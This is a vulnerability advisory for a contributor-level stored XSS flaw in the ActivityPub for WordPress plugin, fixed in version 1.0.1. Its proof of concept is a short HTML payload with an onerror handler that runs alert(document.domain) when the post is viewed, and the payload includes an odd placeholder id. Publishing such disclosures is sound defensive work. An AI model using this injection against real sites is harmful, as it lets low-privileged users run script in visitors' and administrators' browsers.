WordPress Plugin Vulnerabilities

ActivityPub for WordPress < 1.0.1 - Contributor+ Stored XSS

Description

The plugin does not sanitize and escape some data from post content, which could allow contributor and above role to perform Stored Cross-Site Scripting attacks

Proof of Concept

As a contributor, create or edit a post with the payload below while in code editor mode

<img src="404" id="!#!#PROTECT0#!#!"/><pre class=" onerror=alert(document.domain) ">xyz</pre>

The XSS will be triggered when viewing/previewing the post

Affects Plugins

Fixed in 1.0.1

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Ben Bidner
Verified
Yes

Timeline

Publicly Published
2023-09-25 (about 7 months ago)
Added
2023-09-25 (about 7 months ago)
Last Updated
2023-09-25 (about 7 months ago)

Other